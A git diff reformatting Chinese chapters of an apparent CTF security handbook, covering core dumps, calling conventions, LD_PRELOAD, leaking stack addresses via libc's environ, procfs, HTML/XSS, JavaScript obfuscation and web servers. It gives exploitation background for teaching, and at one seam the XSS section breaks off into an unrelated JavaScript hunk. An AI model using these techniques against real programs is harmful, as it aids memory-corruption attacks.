your_command_here > filename` -- 使用文件作为输入 - - `$ ./vulnerable < filename` +- 使用命令的输出作为可执行文件的输入参数 + - `$ ./vulnerable 'your_command_here'` + - `$ ./vulnerable $(your_command_here)` +- 使用命令作为输入 + - `$ your_command_here | ./vulnerable` +- 将命令行输出写入文件 + - `$ your_command_here > filename` +- 使用文件作为输入 + - `$ ./vulnerable < filename` ## 文件描述符 + 在 Linux 系统中一切皆可以看成是文件,文件又分为:普通文件、目录文件、链接文件和设备文件。文件描述符(file descriptor)是内核管理已被打开的文件所创建的索引,使用一个非负整数来指代被打开的文件。 标准文件描述符如下: @@ -317,11 +335,12 @@ db-peda$ x/s 0xffffd584 当一个程序使用 `fork()` 生成一个子进程后,子进程会继承父进程所打开的文件表,此时,父子进程使用同一个文件表,这可能导致一些安全问题。如果使用 `vfork()`,子进程虽然运行于父进程的空间,但拥有自己的进程表项。 - ## 核心转储 + 当程序运行的过程中异常终止或崩溃,操作系统会将程序当时的内存、寄存器状态、堆栈指针、内存管理信息等记录下来,保存在一个文件中,这种行为就叫做核心转储(Core Dump)。 -#### 会产生核心转储的信号 +### 会产生核心转储的信号 + Signal | Action | Comment --- | --- | --- SIGQUIT | Core | Quit from keyboard @@ -330,32 +349,41 @@ SIGABRT | Core | Abort signal from abort SIGSEGV | Core | Invalid memory reference SIGTRAP | Core | Trace/breakpoint trap -#### 开启核心转储 +### 开启核心转储 + - 输入命令 `ulimit -c`,输出结果为 `0`,说明默认是关闭的。 - 输入命令 `ulimit -c unlimited` 即可在当前终端开启核心转储功能。 - 如果想让核心转储功能永久开启,可以修改文件 `/etc/security/limits.conf`,增加一行: - ``` + + ```text # * soft core unlimited ``` -#### 修改转储文件保存路径 +### 修改转储文件保存路径 + - 通过修改 `/proc/sys/kernel/core_uses_pid`,可以使生成的核心转储文件名变为 `core.[pid]` 的模式。 - ``` + + ```text # echo 1 > /proc/sys/kernel/core_uses_pid ``` + - 还可以修改 `/proc/sys/kernel/core_pattern` 来控制生成核心转储文件的保存位置和文件名格式。 - ``` + + ```text # echo /tmp/core-%e-%p-%t > /proc/sys/kernel/core_pattern ``` + 此时生成的文件保存在 `/tmp/` 目录下,文件名格式为 `core-[filename]-[pid]-[time]`。 -#### 使用 gdb 调试核心转储文件 +### 使用 gdb 调试核心转储文件 + ```text -$ gdb [filename] [core file] +gdb [filename] [core file] ``` -#### 例子 +### 例子 + ```text $ cat core.c #include @@ -384,25 +412,28 @@ Stack level 0, frame at 0x41414141: Cannot access memory at address 0x4141413d ``` - ## 调用约定 + 函数调用约定是对函数调用时如何传递参数的一种约定。关于它的约定有许多种,下面我们分别从内核接口和用户接口介绍 32 位和 64 位 Linux 的调用约定。 -#### 内核接口 +### 内核接口 + **x86-32 系统调用约定**:Linux 系统调用使用寄存器传递参数。`eax` 为 syscall_number,`ebx`、`ecx`、`edx`、`esi`、`ebp` 用于将 6 个参数传递给系统调用。返回值保存在 `eax` 中。所有其他寄存器(包括 EFLAGS)都保留在 `int 0x80` 中。 **x86-64 系统调用约定**:内核接口使用的寄存器有:`rdi`、`rsi`、`rdx`、`r10`、`r8`、`r9`。系统调用通过 `syscall` 指令完成。除了 `rcx`、`r11` 和 `rax`,其他的寄存器都被保留。系统调用的编号必须在寄存器 `rax` 中传递。系统调用的参数限制为 6 个,不直接从堆栈上传递任何参数。返回时,`rax` 中包含了系统调用的结果。而且只有 INTEGER 或者 MEMORY 类型的值才会被传递给内核。 -#### 用户接口 +### 用户接口 + **x86-32 函数调用约定**:参数通过栈进行传递。最后一个参数第一个被放入栈中,直到所有的参数都放置完毕,然后执行 call 指令。这也是 Linux 上 C 语言函数的方式。 **x86-64 函数调用约定**:x86-64 下通过寄存器传递参数,这样做比通过栈有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是 MEMORY,则在栈上传递参数。如果类型是 INTEGER,则顺序使用 `rdi`、`rsi`、`rdx`、`rcx`、`r8` 和 `r9`。所以如果有多于 6 个的 INTEGER 参数,则后面的参数在栈上传递。 - ## 环境变量 + 环境变量字符串都是 `name=value` 这样的形式。大多数 name 由大写字母加下画线组成,一般把 name 部分叫做环境变量名,value 部分则是环境变量的值,而且 value 需要以 "/0" 结尾,环境变量定义了该进程的运行环境。 -#### 分类 +### 分类 + - 按照生命周期划分 - 永久环境变量:修改相关配置文件,永久生效。 - 临时环境变量:使用 `export` 命令,在当前终端下生效,关闭终端后失效。 @@ -410,21 +441,25 @@ Cannot access memory at address 0x4141413d - 系统环境变量:对该系统中所有用户生效。 - 用户环境变量:对特定用户生效。 -#### 设置方法 -1. 在文件 `/etc/profile` 中添加变量,这种方法对所有用户永久生效。如: -``` -# Set our default path -PATH="/usr/local/sbin:/usr/local/bin:/usr/bin" -export PATH -``` -添加后执行命令 `source /etc/profile` 使其生效。 +### 设置方法 -2. 在文件 `~/.bash_profile` 中添加变量,这种方法对当前用户永久生效。其余同上。 -3. 直接运行命令 `export` 定义变量,这种方法只对当前终端临时生效。 +- 在文件 `/etc/profile` 中添加变量,这种方法对所有用户永久生效。如: + + ```text + # Set our default path + PATH="/usr/local/sbin:/usr/local/bin:/usr/bin" + export PATH + ``` + + 添加后执行命令 `source /etc/profile` 使其生效。 +- 在文件 `~/.bash_profile` 中添加变量,这种方法对当前用户永久生效。其余同上。 +- 直接运行命令 `export` 定义变量,这种方法只对当前终端临时生效。 + +### 常用变量 -#### 常用变量 使用命令 `echo` 打印变量: -``` + +```text $ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl $ echo $HOME @@ -438,34 +473,50 @@ $ echo $SHELL $ echo $LANG en_US.UTF-8 ``` + 使用命令 `env` 可以打印出所有环境变量: -``` + +```text $ env -``` -使用命令 `set` 可以打印处所有本地定义的 shell 变量: -``` -$ set -``` -使用命令 `unset` 可以清楚环境变量: -``` -$ unset $变量名 +COLORFGBG=15;0 +COLORTERM=truecolor +... ``` -#### LD_PRELOAD +使用命令 `set` 可以打印处所有本地定义的 shell 变量: + +```text +$ set +'!'=0 +'#'=0 +... +``` + +使用命令 `unset` 可以清楚环境变量: + +```text +unset $变量名 +``` + +### LD_PRELOAD + 该环境变量可以定义在程序运行前优先加载的动态链接库。在 pwn 题目中,我们可能需要一个特定的 libc,这时就可以定义该变量: + +```text +LD_PRELOAD=/path/to/libc.so ./binary ``` -$ LD_PRELOAD=/path/to/libc.so ./binary -``` + 一个例子: -``` + +```text $ ldd /bin/true - linux-vdso.so.1 => (0x00007fff9a9fe000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1c083d9000) - /lib64/ld-linux-x86-64.so.2 (0x0000557bcce6c000) + linux-vdso.so.1 => (0x00007fff9a9fe000) + libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1c083d9000) + /lib64/ld-linux-x86-64.so.2 (0x0000557bcce6c000) $ LD_PRELOAD=~/libc.so.6 ldd /bin/true - linux-vdso.so.1 => (0x00007ffee55e9000) - /home/firmy/libc.so.6 (0x00007f4a28cfc000) - /lib64/ld-linux-x86-64.so.2 (0x000055f33bc50000) + linux-vdso.so.1 => (0x00007ffee55e9000) + /home/firmy/libc.so.6 (0x00007f4a28cfc000) + /lib64/ld-linux-x86-64.so.2 (0x000055f33bc50000) ``` 注意,在加载动态链接库时需要使用 `ld.so` 进行重定位,通常被符号链接到 `/lib64/ld-linux-x86-64.so` 中。动态链接库在编译时隐式指定 `ld.so` 的搜索路径,并写入 ELF Header 的 INTERP 字段中。从其他发行版直接拷贝已编译的 `.so` 文件可能会引发 `ld.so` 搜索路径不正确的问题。相似的,在版本依赖高度耦合的发行版中(如 ArchLinux),版本相差过大也会引发 `ld.so` 的运行失败。 @@ -473,16 +524,19 @@ $ LD_PRELOAD=~/libc.so.6 ldd /bin/true 本地同版本编译后通常不会出现问题。如果有直接拷贝已编译版本的需要,可以对比 `interpreter` 确定是否符合要求,但是不保证不会失败。 上面的例子中两个 libc 是这样的: -``` -$ file /lib/x86_64-linux-gnu/libc-2.23.so + +```text +$ file /lib/x86_64-linux-gnu/libc-2.23.so /lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped -$ file ~/libc.so.6 +$ file ~/libc.so.6 /home/firmy/libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped ``` + 都是 `interpreter /lib64/ld-linux-x86-64.so.2`,所以可以替换。 而下面的例子是在 Arch Linux 上使用一个 Ubuntu 的 libc,就会出错: -``` + +```text $ ldd /bin/true linux-vdso.so.1 (0x00007ffc969df000) libc.so.6 => /usr/lib/libc.so.6 (0x00007f7ddde17000) @@ -490,17 +544,21 @@ $ ldd /bin/true $ LD_PRELOAD=~/libc.so.6 ldd /bin/true Illegal instruction (core dumped) ``` -``` -$ file /usr/lib/libc-2.26.so + +```text +$ file /usr/lib/libc-2.26.so /usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=458fd9997a454786f071cfe2beb234542c1e871f, for GNU/Linux 3.2.0, not stripped -$ file ~/libc.so.6 +$ file ~/libc.so.6 /home/firmy/libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped ``` + 一个在 `interpreter /usr/lib/ld-linux-x86-64.so.2`,而另一个在 `interpreter /lib64/ld-linux-x86-64.so.2`。 -#### environ +### environ + libc 中定义的全局变量 `environ` 指向环境变量表。而环境变量表存在于栈上,所以通过 `environ` 指针的值就可以泄露出栈地址。 -``` + +```text gdb-peda$ vmmap libc Start End Perm Name 0x00007ffff7a1c000 0x00007ffff7bcf000 r-xp /usr/lib/libc-2.27.so @@ -528,21 +586,25 @@ gdb-peda$ x/5s 0x00007fffffffe1da 0x7fffffffe25f: "DISPLAY=:0" ``` - ## procfs + procfs 文件系统是 Linux 内核提供的虚拟文件系统,为访问系统内核数据的操作提供接口。之所以说是虚拟文件系统,是因为它不占用存储空间,而只是占用了内存。用户可以通过 procfs 查看有关系统硬件及当前正在运行进程的信息,甚至可以通过修改其中的某些内容来改变内核的运行状态。 -#### /proc/cmdline +### /proc/cmdline + 在启动时传递给内核的相关参数信息,通常由 lilo 或 grub 等启动管理工具提供: -``` -cat /proc/cmdline + +```text +$ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-4.14-x86_64 root=UUID=8e79a67d-af1b-4203-8c1c-3b670f0ec052 rw quiet resume=UUID=a220ecb1-7fde-4032-87bf-413057e9c06f ``` -#### /proc/cpuinfo +### /proc/cpuinfo + 记录 CPU 相关的信息: -``` -$ cat /proc/cpuinfo + +```text +$ cat /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 @@ -572,10 +634,12 @@ power management: ... ``` -#### /proc/crypto +### /proc/crypto + 已安装的内核所使用的密码算法及算法的详细信息: -``` -$ cat /proc/crypto + +```text +$ cat /proc/crypto name : ccm(aes) driver : ccm_base(ctr(aes-aesni),cbcmac(aes-aesni)) module : ccm @@ -592,10 +656,12 @@ geniv : ... ``` -#### /proc/devices +### /proc/devices + 已加载的所有块设备和字符设备的信息,包含主设备号和设备组(与主设备号对应的设备类型)名: -``` -$ cat /proc/devices + +```text +$ cat /proc/devices Character devices: 1 mem 4 /dev/vc/0 @@ -606,11 +672,13 @@ Character devices: ... ``` -#### /proc/interrupts +### /proc/interrupts + X86/X86_64 系统上每个 IRQ 相关的中断号列表,多路处理器平台上每个 CPU 对于每个 I/O 设备均有自己的中断号: -``` -$ cat /proc/interrupts - CPU0 CPU1 CPU2 CPU3 + +```text +$ cat /proc/interrupts + CPU0 CPU1 CPU2 CPU3 0: 15 0 0 0 IR-IO-APIC 2-edge timer 1: 46235 1277 325 156 IR-IO-APIC 1-edge i8042 8: 0 1 0 0 IR-IO-APIC 8-edge rtc0 @@ -621,17 +689,21 @@ SPU: 0 0 0 0 Spurious interrupts ... ``` -#### /proc/kcore +### /proc/kcore + 系统使用的物理内存,以 ELF 核心文件(core file)格式存储: -``` + +```text $ sudo file /proc/kcore /proc/kcore: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'BOOT_IMAGE=/boot/vmlinuz-4.14-x86_64 root=UUID=8e79a67d-af1b-4203-8c1c-3b670f0e' ``` -#### /proc/meminfo +### /proc/meminfo + 系统中关于当前内存的利用状况等的信息: -``` -$ cat /proc/meminfo + +```text +$ cat /proc/meminfo MemTotal: 12226252 kB MemFree: 4909444 kB MemAvailable: 8776048 kB @@ -640,20 +712,24 @@ Cached: 3953616 kB ... ``` -#### /proc/mounts +### /proc/mounts + 每个进程自身挂载名称空间中的所有挂载点列表文件的符号链接: -``` -$ cat /proc/mounts + +```text +$ cat /proc/mounts proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0 sys /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0 dev /dev devtmpfs rw,nosuid,relatime,size=6106264k,nr_inodes=1526566,mode=755 0 0 ... ``` -#### /proc/modules +### /proc/modules + 当前装入内核的所有模块名称列表,可以由 lsmod 命令使用。其中第一列表示模块名,第二列表示此模块占用内存空间大小,第三列表示此模块有多少实例被装入,第四列表示此模块依赖于其它哪些模块,第五列表示此模块的装载状态:Live(已经装入)、Loading(正在装入)和 Unloading(正在卸载),第六列表示此模块在内核内存(kernel memory)中的偏移量: -``` -$ cat /proc/modules + +```text +$ cat /proc/modules fuse 118784 3 - Live 0xffffffffc0d9b000 ccm 20480 3 - Live 0xffffffffc0d95000 rfcomm 86016 4 - Live 0xffffffffc0d7f000 @@ -661,9 +737,11 @@ bnep 24576 2 - Live 0xffffffffc0d78000 ... ``` -#### /proc/slabinfo +### /proc/slabinfo + 保存着监视系统中所有活动的 slab 缓存的信息: -``` + +```text $ sudo cat /proc/slabinfo slabinfo - version: 2.1 # name : tunables : slabdata @@ -673,9 +751,11 @@ drm_i915_gem_request 765 1036 576 28 4 : tunables 0 0 0 : ... ``` -#### /proc/[pid] +### /proc/[pid] + 在 /proc 文件系统下,还有一些以数字命名的目录,这些数字是进程的 PID 号,而这些目录是进程目录。目录下的所有文件如下,然后会介绍几个比较重要的: -``` + +```text $ cat - & [1] 1060 $ ls /proc/1060/ @@ -687,33 +767,42 @@ clear_refs environ limits mountstats oom_score_adj schedstat cmdline exe map_files net pagemap setgroups status wchan ``` -#### /proc/[pid]/cmdline +### /proc/[pid]/cmdline + 启动当前进程的完整命令: -``` -$ cat /proc/1060/cmdline + +```text +$ cat /proc/1060/cmdline cat- ``` -#### /proc/[pid]/exe +### /proc/[pid]/exe + 指向启动当前进程的可执行文件的符号链接: -``` -$ file /proc/1060/exe + +```text +$ file /proc/1060/exe /proc/1060/exe: symbolic link to /usr/bin/cat ``` -#### /proc/[pid]/root +### /proc/[pid]/root + 当前进程运行根目录的符号链接: -``` + +```text $ file /proc/1060/root /proc/1060/root: symbolic link to / ``` -#### /proc/[pid]/mem +### /proc/[pid]/mem + 当前进程所占用的内存空间,由open、read和lseek等系统调用使用,不能被用户读取。但可通过下面的 /proc/[pid]/maps 查看。 -#### /proc/[pid]/maps +### /proc/[pid]/maps + 这个文件大概是最常用的,用于显示进程的内存区域映射信息: -``` + +```text $ cat /proc/1060/maps 56271b3a5000-56271b3ad000 r-xp 00000000 08:01 24904069 /usr/bin/cat 56271b5ac000-56271b5ad000 r--p 00007000 08:01 24904069 /usr/bin/cat @@ -724,23 +813,25 @@ $ cat /proc/1060/maps 7fefb6bd1000-7fefb6dd0000 ---p 001b3000 08:01 24905238 /usr/lib/libc-2.27.so 7fefb6dd0000-7fefb6dd4000 r--p 001b2000 08:01 24905238 /usr/lib/libc-2.27.so 7fefb6dd4000-7fefb6dd6000 rw-p 001b6000 08:01 24905238 /usr/lib/libc-2.27.so -7fefb6dd6000-7fefb6dda000 rw-p 00000000 00:00 0 +7fefb6dd6000-7fefb6dda000 rw-p 00000000 00:00 0 7fefb6dda000-7fefb6dff000 r-xp 00000000 08:01 24905239 /usr/lib/ld-2.27.so -7fefb6fbd000-7fefb6fbf000 rw-p 00000000 00:00 0 -7fefb6fdc000-7fefb6ffe000 rw-p 00000000 00:00 0 +7fefb6fbd000-7fefb6fbf000 rw-p 00000000 00:00 0 +7fefb6fdc000-7fefb6ffe000 rw-p 00000000 00:00 0 7fefb6ffe000-7fefb6fff000 r--p 00024000 08:01 24905239 /usr/lib/ld-2.27.so 7fefb6fff000-7fefb7000000 rw-p 00025000 08:01 24905239 /usr/lib/ld-2.27.so -7fefb7000000-7fefb7001000 rw-p 00000000 00:00 0 +7fefb7000000-7fefb7001000 rw-p 00000000 00:00 0 7ffde5659000-7ffde567a000 rw-p 00000000 00:00 0 [stack] 7ffde5748000-7ffde574b000 r--p 00000000 00:00 0 [vvar] 7ffde574b000-7ffde574d000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ``` -#### /proc/[pid]/stack +### /proc/[pid]/stack + 这个文件表示当前进程的内核调用栈信息,只有在内核编译启用 `CONFIG_STACKTRACE` 选项,才会生成该文件: -``` -$ sudo cat /proc/1060/stack + +```text +$ sudo cat /proc/1060/stack [] do_signal_stop+0xae/0x1f0 [] get_signal+0x191/0x580 [] do_signal+0x36/0x610 @@ -750,10 +841,12 @@ $ sudo cat /proc/1060/stack [] 0xffffffffffffffff ``` -#### /proc/[pid]/auxv +### /proc/[pid]/auxv + 该文件包含了传递给进程的解释器信息,即 auxv(AUXiliary Vector),每一项都是由一个 unsigned long 长度的 ID 加上一个 unsigned long 长度的值构成: -``` -$ xxd -e -g8 /proc/1060/auxv + +```text +$ xxd -e -g8 /proc/1060/auxv 00000000: 0000000000000021 00007ffde574b000 !.........t..... 00000010: 0000000000000010 00000000bfebfbff ................ 00000020: 0000000000000006 0000000000001000 ................ @@ -775,8 +868,10 @@ $ xxd -e -g8 /proc/1060/auxv 00000120: 000000000000000f 00007ffde5678359 ........Y.g..... 00000130: 0000000000000000 0000000000000000 ................ ``` + 每个值具体是做什么的,可以用下面的办法显示出来,对比看一看,更详细的可以查看 `/usr/include/elf.h` 和 `man ld.so`: -``` + +```text $ LD_SHOW_AUXV=1 cat - AT_SYSINFO_EHDR: 0x7ffd16be5000 AT_HWCAP: bfebfbff @@ -798,12 +893,15 @@ AT_HWCAP2: 0x0 AT_EXECFN: /bin/cat AT_PLATFORM: x86_64 ``` + 值得一提的是,`AT_SYSINFO_EHDR` 所对应的值是一个叫做的 VDSO(Virtual Dynamic Shared Object) 的地址。在 ret2vdso 漏洞利用方法中会用到(参考章节6.1.6)。 -#### /proc/[pid]/environ +### /proc/[pid]/environ + 该文件包含了进程的环境变量: -``` -$ strings /proc/1060/environ + +```text +$ strings /proc/1060/environ GS_LIB=/home/firmy/.fonts KDE_FULL_SESSION=true VIRTUALENVWRAPPER_WORKON_CD=1 @@ -812,9 +910,11 @@ LANG=zh_CN.UTF-8 ... ``` -#### /proc/[pid]/fd +### /proc/[pid]/fd + 该文件包含了进程打开文件的情况: -``` + +```text $ ls -al /proc/1060/fd total 0 dr-x------ 2 firmy firmy 0 6月 7 23:37 . @@ -824,10 +924,12 @@ lrwx------ 1 firmy firmy 64 6月 7 23:44 1 -> /dev/pts/3 lrwx------ 1 firmy firmy 64 6月 7 23:44 2 -> /dev/pts/3 ``` -#### /proc/[pid]/status +### /proc/[pid]/status + 该文件包含了进程的状态信息: -``` -$ cat /proc/1060/status + +```text +$ cat /proc/1060/status Name: cat Umask: 0022 State: T (stopped) @@ -839,13 +941,15 @@ TracerPid: 0 Uid: 1000 1000 1000 1000 Gid: 1000 1000 1000 1000 FDSize: 256 -Groups: 3 7 10 56 90 91 93 95 96 98 1000 +Groups: 3 7 10 56 90 91 93 95 96 98 1000 ... ``` -#### /proc/[pid]/task +### /proc/[pid]/task + 一个目录,包含当前进程的每一个线程的相关信息,每个线程的信息分别放在一个由线程号(tid)命名的目录中: -``` + +```text $ ls /proc/1060/task/ 1060 $ ls /proc/1060/task/1060/ @@ -855,14 +959,17 @@ cgroup comm exe io mountinfo numa_maps pagemap sch children cpuset fd limits mounts oom_adj personality schedstat stack syscall ``` -#### /proc/[pid]/syscall +### /proc/[pid]/syscall + 该文件包含了进程正在执行的系统调用: -``` -$ sudo cat /proc/1060/syscall + +```text +$ sudo cat /proc/1060/syscall 0 0x0 0x7fefb6fdd000 0x20000 0x22 0xffffffff 0x0 0x7ffde5677d48 0x7fefb6b07901 ``` + 第一个值是系统调用号,后面跟着是六个参数,最后两个值分别是堆栈指针和指令计数器的值。 - ## 参考资料 + - [Linux Filesystem Hierarchy](http://tldp.org/LDP/Linux-Filesystem-Hierarchy/html/proc.html) diff --git a/doc/1.4.1_html_basic.md b/doc/1.4.1_html_basic.md index 1da61d2..d4e8bf3 100644 --- a/doc/1.4.1_html_basic.md +++ b/doc/1.4.1_html_basic.md @@ -5,8 +5,8 @@ - [HTML 编码](#html-编码) - [HTML5 新特性](#html5-新特性) - ## 什么是 HTML + HTML 是用来描述网页的一种语言。 - HTML 指的是超文本标记语言 (Hyper Text Markup Language) @@ -20,8 +20,8 @@ HTML 是用来描述网页的一种语言。 由于是通过浏览器动态解析,因此可以使用普通文本编辑器来编写 HTML。 - ## HTML 中的标签与元素 + 标签和元素共同构成了 HTML 多样的格式和丰富的功能。 HTML 元素以开始标签起始,以结束标签终止。元素处于开始标签与结束标签之间,标签之间可以嵌套,一个典型的 HTML 文档如下: @@ -29,15 +29,16 @@ HTML 元素以开始标签起始,以结束标签终止。元素处于开始标 ```html - - - Hello World - - + + + Hello World + + ``` -#### 信息隐藏 +### 信息隐藏 + HTML 中的部分标签用于元信息展示、注释等功能,并不用于内容的显示。另一方面,一些属性具有修改浏览器显示样式的功能,在 CTF 中常被用来进行信息隐藏。 ```html @@ -52,11 +53,13 @@ HTML 中的部分标签用于元信息展示、注释等功能,并不用于内 hidden,隐藏元素 ``` -#### XSS +### XSS + 关于 XSS 漏洞的详细介绍见 1.4.5 节的 OWASP Top Ten Project 漏洞基础。导致 XSS 漏洞的原因是嵌入在 HTML 中的其它动态语言,但是 HTML 为恶意注入提供了输入口。 常见与 XSS 相关的标签或属性如下: -``` + +```text @@ -42,15 +44,17 @@ console.log("Hello World!") ``` - ## JavaScript 数据类型 + 作为弱类型的语言,JS 的变量声明不需要指定数据类型: + ```js var pi=3.14; var pi='ratio of the circumference of a circle to its diameter'; ``` 当然,可以通过“ new ”来声明变量类型: + ```js var pi=new String; var pi=new Number; @@ -58,17 +62,21 @@ var pi=new Boolean; var pi=new Array; var pi=new Object; ``` + 上一个示例也展示了 JS 的数据类型,分别是字符串、数字、布尔值、数组和对象。 有两个特殊的类型是 Undefined 和 Null,形象一点区分,前者表示有坑在但坑中没有值,后者表示没有坑。另外,所有 JS 变量都是对象,**但是需要注意的是,对象声明的字符串和直接赋值的字符串并不严格相等**。 - ## JavaScript 编程逻辑 -#### 基础 + +### 基础 + JS 语句使用分号分隔。 ### 逻辑语句 + if 条件语句: + ```js if (condition) { @@ -81,6 +89,7 @@ else ``` switch 条件语句: + ```js switch(n) { @@ -96,12 +105,14 @@ switch(n) ``` for/for in 循环语句: + ```js for (代码1;代码2;代码3) { 代码块 } ``` + ```js for (x in xs) { @@ -110,12 +121,14 @@ for (x in xs) ``` while/do while 循环语句: + ```js while (条件) { 代码块 } ``` + ```js do { @@ -124,8 +137,8 @@ do while (条件); ``` - ## JavaScript 打印数据 + 在浏览器中调试代码时,经常用到的手段是打印变量。 | 函数 | 作用 | @@ -134,80 +147,95 @@ while (条件); | document.write() | 写入HTML文档 | | console.log() | 写入浏览器控制台 | -![](../pic/1.4.3_window_alert.png) - -![](../pic/1.4.3_document_write.png) +![img](../pic/1.4.3_window_alert.png) +![img](../pic/1.4.3_document_write.png) ## JavaScript 框架 + JS 同样有许多功能强大的框架。大多数的前端 JS 框架使用外部引用的方式将 JS 文件引入到正在编写的文档中。 -#### jQuery +### jQuery + jQuery 封装了常用的 JS 功能,通过选择器的机制来操纵 DOM 节点,完成复杂的前端效果展示。 -#### Angular +### Angular + 实现了前端的 MVC 架构,通过动态数据绑定来简化数据转递流程。 -#### React +### React + 利用组件来构建前端UI的框架 -#### Vue +### Vue + MVVM 构架的前端库,理论上讲,将它定义为数据驱动、组件化的框架,但这些概念也可能适用于其他框架,所以可能只有去真正使用到所有框架才能领悟到它们之间的区别。 -#### 其他 +### 其他 + 还有许许多多针对不同功能的框架,比如针对图表可视化、网络信息传递或者移动端优化等等。 -#### 双向数据绑定 -传统基于MVC的架构的思想是数据单向的传送到 View 视图中进行显示,但是有时我们还需要将视图层的数据传输回模型层,这部分的功能就由前端 JS 来接手,因此许多近几年出现的新框架都使用数据双向绑定来完成MVVM的新构架,这就带给了用户更多的权限接触到程序的编程逻辑,进而产生一些安全问题,比较典型的就是许多框架曾经存在的模板注入问题。 +### 双向数据绑定 +传统基于 MVC 的架构的思想是数据单向的传送到 View 视图中进行显示,但是有时我们还需要将视图层的数据传输回模型层,这部分的功能就由前端 JS 来接手,因此许多近几年出现的新框架都使用数据双向绑定来完成MVVM的新构架,这就带给了用户更多的权限接触到程序的编程逻辑,进而产生一些安全问题,比较典型的就是许多框架曾经存在的模板注入问题。 ## JavaScript DOM 和 BOM -| | | -|---|---| -|DOM|文档对象模型,JS 通过操纵 DOM 可以动态获取、修改 HTML 中的元素、属性、CSS 样式,这种修改有时会带来 XSS 攻击风险| -|BOM|浏览器对象模型,类比于 DOM,赋予 JS 对浏览器本身进行有限的操纵,获取 Cookie、地理位置、系统硬件或浏览器插件信息等| - +| | | +| --- | --- | +| DOM | 文档对象模型,JS 通过操纵 DOM 可以动态获取、修改 HTML 中的元素、属性、CSS 样式,这种修改有时会带来 XSS 攻击风险 | +| BOM | 浏览器对象模型,类比于 DOM,赋予 JS 对浏览器本身进行有限的操纵,获取 Cookie、地理位置、系统硬件或浏览器插件信息等 | ## JavaScript 混淆 + 由于前端代码的可见性,出于知识产权或者其他目的,JS 代码通过混淆的方法使得自己既能被浏览器执行,又难以被人为解读。常见的混淆方法有重命名变量名和函数名、挤压代码、拼接字符、使用动态执行函数在函数与字符串之间进行替换等。下面对比代码混淆前后的差异。 混淆前: + ```js console.log('Hello World!'); ``` + 混淆后: + ```js console["\x6c\x6f\x67"]('\x48\x65\x6c\x6c\x6f \x57\x6f\x72\x6c\x64\x21'); ``` + 更加复杂的混淆后: + ```js eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('1.0(\'3 2!\');',4,4,'log|console|World|Hello'.split('|'),0,{})) ``` 由于之前提到的特性,无论混淆有多么复杂,最终它都能够在浏览器中被解释执行。 - ## 使用 Node.js 执行后端 JavaScript + 在 [安装完成](https://nodejs.org/en/download/) Node.js 后,我们可以尝试编写第一个后端 JS 程序。 1.打开文本编辑器,写入 + ```js -console.log("Hello World"); +console.log("Hello World"); ``` + 并保存为 `hello.js` 2.使用 + ```js node hello.js ``` + 来执行文件。 -![](../pic/1.4.3_nodejs.png) - +![img](../pic/1.4.3_nodejs.png) ## Node.js 模块 + Node.js 同样通过丰富的模块提供强大的功能,模块使用 npm 进行管理。 + - `events`:事件模块,提供事件触发和事件监听功能 - `util`:核心功能模块,用于弥补核心 JS 功能的不足 - `fs`:文件操作模块,提供文件操作 API @@ -215,10 +243,10 @@ Node.js 同样通过丰富的模块提供强大的功能,模块使用 npm 进 - `express`:Web 框架,用于快速构建 Web 应用服务 - `vm`:沙箱模块,提供干净的上下文环境 -后端 JS 就会存在其他语言后端所同样存在安全问题,包括基础的 Web 攻击、服务端模板注入、沙箱逃逸、内存溢出等问题。 - +后端 JS 就会存在其他语言后端所同样存在安全问题,包括基础的 Web 攻击、服务端模板注入、沙箱逃逸、内存溢出等问题。 ## 参考资料 + - [JavaScript 教程](http://www.runoob.com/js/js-tutorial.html) - [Node.js 教程](http://www.runoob.com/nodejs/nodejs-tutorial.html) - [浅谈 Node.js 安全](https://zhuanlan.zhihu.com/p/28105239) diff --git a/doc/1.4.4_webserver_basic.md b/doc/1.4.4_webserver_basic.md index a8bc76a..93aab54 100644 --- a/doc/1.4.4_webserver_basic.md +++ b/doc/1.4.4_webserver_basic.md @@ -5,53 +5,59 @@ - [IIS](#iis) - [如何获取 Web 服务指纹](#如何获取-web-服务指纹) - 由于涉及到 Web 服务器和应用服务器的差别问题,这里着重介绍三款使用广泛的 Web 服务器。 当客户端按照 HTTP 协议发送了请求,服务端也写好了处理请求的逻辑代码,这时就需要一个中间人来接收请求,解析请求,并将请求放入后端代码中执行,最终将执行结果返回的页面传递给客户端。另外,我们还要保证整个服务能同时被大规模的人群使用,Web 服务器就充当了这样的角色。 - ## Apache HTTP Server + Apache HTTP Server 以稳定、安全以及对 PHP 的高效支持而被广泛用于 PHP 语言中,WAMP 或者 LAMP 